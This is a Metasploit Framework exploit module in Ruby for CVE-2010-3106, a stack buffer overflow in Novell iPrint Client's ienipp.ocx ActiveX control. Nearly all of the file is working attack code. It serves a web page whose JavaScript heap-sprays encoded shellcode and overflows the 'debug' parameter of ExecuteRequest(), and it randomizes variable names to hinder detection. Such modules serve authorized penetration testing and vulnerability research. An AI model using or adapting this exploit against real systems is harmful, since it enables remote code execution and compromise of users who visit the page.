##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# novelliprint_executerequest_dbg.rb
#
# Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
#  - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.3.2.0 and 5.4.0.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
#  - CVE-2010-3106
#  - OSVDB 66960
#  - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs
#  - https://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
#  - https://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
#  - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell iPrint Client ActiveX Control ExecuteRequest debug Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.
        When sending an overly long string to the 'debug' parameter in ExecuteRequest()
        property of ienipp.ocx an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
      'References'     =>
        [
          [ 'CVE', '2010-3106' ],
          [ 'OSVDB', '66960'],
          [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ],	# Aaron Portnoy, TippingPoint DVLabs
          [ 'EDB', '15001' ],				# MOAUB #14
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ]
        ],
      'DisclosureDate' => 'Aug 04 2010',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
    blocksize = 0x40000
    fillto    = 500
    offset 	  = target['Offset']

    # ActiveX parameters
    clsid 	= "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
    op		= "op-client-interface-version"
    dbg 	= "debug="

    # Randomize the javascript variable names
    ienipp       = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_ret        = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_op	 = rand_text_alpha(rand(100) + 1)
    j_dbg	 = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)
    randnop      = rand_text_alpha(rand(100) + 1)

    html = %Q|<html>
<object classid='clsid:#{clsid}' id='#{ienipp}'></object>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{randnop} = "#{nops}";
var #{j_nops} = unescape(#{randnop});
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
  #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}

var #{j_ret} = '';
for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) {
  #{j_ret} += unescape('#{ret}');
}
#{j_op} = "#{op}";
#{j_dbg} = "#{dbg}";
#{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret});
</script>
</html>|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end
